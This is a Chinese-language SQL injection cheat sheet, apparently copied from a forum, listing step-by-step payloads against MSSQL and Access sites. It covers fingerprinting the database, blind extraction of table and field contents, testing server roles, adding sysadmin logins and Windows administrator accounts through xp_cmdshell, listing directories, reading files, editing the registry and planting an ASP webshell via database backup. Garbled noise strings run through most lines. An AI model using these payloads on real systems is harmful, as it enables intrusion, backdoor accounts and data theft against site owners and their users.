手工脚本注入
4 e0 F+ Y" v& F% D! y6 D1.判断是否有注入;and 1=1 ;and 1=2
( m+ z( \$ f1 H; p: @, }
7 w2 g4 u- J6 P6 p+ h- V0 e. R2.初步判断是否是mssql ;and user>0
6 b+ Q7 B2 T& V" c& K
4 X; V1 p0 `# c: b" ]3.注入参数是字符'and [查询条件] and ''='
7 L& s& Z6 O) K+ t# C1 @+ L( D! V, F
4.搜索时没过滤参数的'and [查询条件] and '%25'=' " F* k6 M2 g0 C* q6 W+ K
$ b0 e) _0 e/ M/ K
5.判断数据库系统
# d4 ~3 ]2 t \/ O+ u;and (select count(*) from sysobjects)>0 mssql + P7 {5 Z9 g3 `7 L
;and (select count(*) from msysobjects)>0 access
' `8 m2 F4 c8 h* Q7 _- d) ^( V6 r4 n9 a$ t
6.猜数据库 ;and (select Count(*) from [数据库名])>0
0 y: d; _9 V7 x9 R/ b" b- S
" b+ @5 L' }& E) T7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4 i$ O# \2 ? E; I6 e, I
+ w7 r: b4 O' _) t, Y z3 b3 q O
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2 \& G) h3 C P, D9 U6 r7 ?, I
: i9 I. {9 v+ P5 y% `
9.(1)猜字段的ascii值(access)
, w5 f" `# l. O: v;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6 {7 q9 t7 d% E$ W: O. \8 ]& O" \
7 P4 y7 `+ s" h6 u# s
(2)猜字段的ascii值(mssql) " @% M! k% F" i
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& P) }% ~0 g# I% Z; Y; G
) d/ n+ L8 D+ J! s10.测试权限结构(mssql) 3 T9 s4 V" Y3 t! }% D, P" p7 o% R0 R# [
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- " e( h* o9 v! ]3 h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- , h4 C* @6 q; P" o& o) A: c* Q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
" D! l0 S6 c5 \4 o2 h. |' [- q# Z, f5 M;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
# Z% Y; W d0 _8 P4 w;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- S! i% e7 ]& s; M
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) @' S0 c3 w# V' M
;and 1=(select IS_MEMBER('db_owner'));-- + u! [/ v: p6 W5 R/ @: X% W. h& a
" i; k( Q8 n: D- d& l& D
11.添加mssql和系统的帐户 5 T- L# ^1 v: G: u2 E
;exec master.dbo.sp_addlogin username;--
3 ^1 Z3 [( o9 W5 |! q5 n& v. T0 {( [! e3 O( e& Y
;exec master.dbo.sp_password null,username,password;--
9 l7 T# c$ _4 r* i7 A* C1 L6 s
, ]6 {7 o6 y; f$ e& U7 V;exec master.dbo.sp_addsrvrolemember sysadmin username;--
0 r& k {2 M4 K) r( g& B; q" i/ v' S7 ~3 b
;exec master.dbo.xp_cmdshell 'net user username password 9 A+ E9 |) q( j, @2 a
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ' H2 t# m7 D6 i- f9 f5 P
" g" p& E7 r O% `2 R* z; M; w
;exec master.dbo.xp_cmdshell 'net user username password /add';--
, ^7 G; c2 F8 |0 @- |7 v0 e7 K6 X- E2 I$ }8 a# }3 s3 v9 Z# s6 f
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : c( D6 T5 o; X) }3 y
! [2 V; m! t. J7 C6 E9 K) G1 }6 t& }12.(1)遍历目录 . l5 R# `" U$ x
7 ]) |/ J8 f6 R4 q" S& m( N5 `;create table dirs(paths varchar(100), id int)
( y: Q/ W$ S ^7 C;insert dirs exec master.dbo.xp_dirtree 'c:\'
. g) |/ M0 u- v0 H5 i;and (select top 1 paths from dirs)>0
; }. R$ j5 P0 m: E3 b;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9 J4 |" _# I$ C/ Y
* \( d$ d, \3 _. u3 P( i5 U(2)遍历目录 . E, l7 } q- r& }
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( ]7 J7 Y5 F" t8 P7 f
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
0 ~# }: \4 V: g;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ( x% O# J7 c T* k/ x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
5 l' y+ h% F% V4 m# _! y, Z& _;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 Q1 y; ^7 r2 l) q
7 p8 m9 z2 n5 d$ B2 t5 c13.mssql中的存储过程 " r3 d- b- B3 _
# D& Q! K8 L2 Kxp_regenumvalues 注册表根键, 子键 # c n; H2 h; K7 O+ _ k* J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " t8 g& i$ s( S
, q% u8 v6 G+ c6 Gxp_regread 根键,子键,键值名 ) L. \* ?3 g* u7 |; }0 G/ i9 n
;exec xp_regread & n5 h7 K- N F" R- u* i9 m G
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 " z# i" R2 p5 J* C9 I# \
$ G( b( M( L" H) `8 I! L7 q5 D( p" i
xp_regwrite 根键,子键, 值名, 值类型, 值
# l5 [; K/ z8 v6 k值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 l9 n/ |# c# b# ^# ~/ E( y: A& };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 + P s' H6 F+ {! [! O$ R
. e$ G) P+ S' f% Yxp_regdeletevalue 根键,子键,值名 / o" e+ x2 E4 P, m' Z, g0 z+ f
1 @$ V e- C! }* |& f
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ R. V: _, d F
5 R3 \6 [, a5 L7 R- h9 R, Ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - n. g0 }- n6 l
$ H/ c& c0 n. K14.mssql的backup创建webshell # `4 S0 Q+ @9 Z# ~2 }
use model
& K$ E' p1 S( J. b- z3 Mcreate table cmd(str image);
! {& n% B* y) B9 J+ `# o; b$ l" Binsert into cmd(str) values (''); ' o9 h5 G8 N: p- ]8 D9 X% N" `
backup database model to disk='c:\l.asp';
]9 I: ~' m, ?# l t
1 W$ M( P5 ]% ^9 X15.mssql内置函数 & S# u5 n4 t r( C. |1 q) y
;and (select @@version)>0 获得Windows的版本号
: H) ~' R v8 ^;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 Y1 n+ O# v+ J/ H;and (select user_name())>0 爆当前系统的连接用户
' y4 Q) t2 y( e& N% H- h; l;and (select db_name())>0 得到当前连接的数据库
! ?' z- @7 ]1 N6 R5 v5 C( v+ a- A" z/ ^4 y; w4 k" M* O3 w
16.简洁的webshell
9 Y! ]. h5 K' f: R' l% @! B; E# D6 W6 P R$ r1 M& u: `
use model
! E. Y2 D% A2 v( Q+ V7 h3 y
! i8 _4 c0 c/ W7 Mcreate table cmd(str image); ) ]& \, v# E5 @/ p: A5 Y, A. `
; G, s7 t: Q7 T0 Y- a$ Finsert into cmd(str) values (''); % }# {' p* { Q& O2 }8 P
/ d9 i4 e4 t6 z' n( t/ V" ]' tbackup database model to disk='g:\wwwtest\l.asp';
8 \$ Z0 J8 E% b
4 X" Q, T' K$ o$ [4 r2 p* L |